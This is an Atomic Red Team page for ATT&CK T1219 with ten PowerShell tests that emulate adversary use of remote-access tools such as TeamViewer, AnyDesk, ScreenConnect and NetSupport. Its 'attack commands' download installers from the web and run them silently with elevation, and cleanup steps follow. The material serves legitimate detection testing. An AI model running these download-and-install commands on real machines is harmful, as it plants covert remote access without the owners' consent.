T1219
Remote Access Software
Description from ATT&CK
An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)
Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a Windows Service).
Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)
Atomic Tests
Atomic Test #1 - TeamViewer Files Detected Test on Windows
An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
Supported Platforms: windows
auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S;
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
Cleanup Commands:
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$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
Atomic Test #2 - AnyDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: windows
auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
Cleanup Commands:
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$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe.exe"
Remove-Item $file1 -ErrorAction Ignore
Atomic Test #3 - LogMeIn Files Detected Test on Windows
An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: windows
auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
Cleanup Commands:
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get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore
Atomic Test #4 - GoToAssist Files Detected Test on Windows
An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: windows
auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;
Cleanup Commands:
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try{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}
Atomic Test #5 - ScreenConnect Application Download and Install on Windows
An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect.
Supported Platforms: windows
auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
msiexec /i $installer /qn
Cleanup Commands:
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$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn
Atomic Test #6 - Ammyy Admin Software Execution
An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammyy Admin will be executed.
Supported Platforms: windows
auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| Ammyy_Admin_Path | Path of Ammyy Admin executable | Path | $env:temp\ammyy.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Start-Process #{Ammyy_Admin_Path}
Cleanup Commands:
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Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue
Dependencies: Run with powershell!
Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})
Check Prereq Commands:
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if (Test-Path #{Ammyy_Admin_Path}) {exit 0} else {exit 1}
Get Prereq Commands:
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Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "$env:temp\ammyy.exe" -UseBasicParsing
Atomic Test #7 - RemotePC Software Execution
An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.
Supported Platforms: windows
auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| RemotePC_Path | Path of RemotePC executable | Path | $env:temp\RemotePC.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Start-Process #{RemotePC_Path}
Cleanup Commands:
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Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction SilentlyContinue
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinue
Dependencies: Run with powershell!
Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})
Check Prereq Commands:
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if (Test-Path #{RemotePC_Path}) {exit 0} else {exit 1}
Get Prereq Commands:
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Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsing
Atomic Test #8 - NetSupport - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.
Supported Platforms: windows
auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| NetSupport_Path | Path to the NetSupport executable. | Path | $env:temp\T1219_NetSupport.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Start-Process #{NetSupport_Path} -ArgumentList "/S /v/qn"
Cleanup Commands:
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Stop-Process -Name "client32" -force -erroraction silentlycontinue
Dependencies: Run with powershell!
Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})
Check Prereq Commands:
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if (Test-Path #{NetSupport_Path}) {exit 0} else {exit 1}
Get Prereq Commands:
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(New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}")
Atomic Test #9 - UltraViewer - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.
Supported Platforms: windows
auto_generated_guid: 19acf63b-55c4-4b6a-8552-00a8865105c8
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| UltraViewer_Path | Path to the UltraViewer executable. | Path | $env:temp\T1219_UltraViewer.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
Cleanup Commands:
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Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue
Dependencies: Run with powershell!
Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})
Check Prereq Commands:
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if (Test-Path #{UltraViewer_Path}) {exit 0} else {exit 1}
Get Prereq Commands:
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(New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}")
Atomic Test #10 - UltraVNC Execution
An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel. Upon successful execution, UltraVNC will be executed.
Supported Platforms: windows
auto_generated_guid: 42e51815-a6cc-4c75-b970-3f0ff54b610e
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| UltraVNC_Viewer_Path | Path of UltraVNC Viewer executable | Path | $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe' |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Start-Process #{UltraVNC_Viewer_Path}
Cleanup Commands:
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Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue
Dependencies: Run with powershell!
Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})
Check Prereq Commands:
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if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1}
Get Prereq Commands:
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Start-BitsTransfer -Source "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -Destination $env:temp\vncsetup.exe -dynamic
start-process $env:temp\vncsetup.exe /silent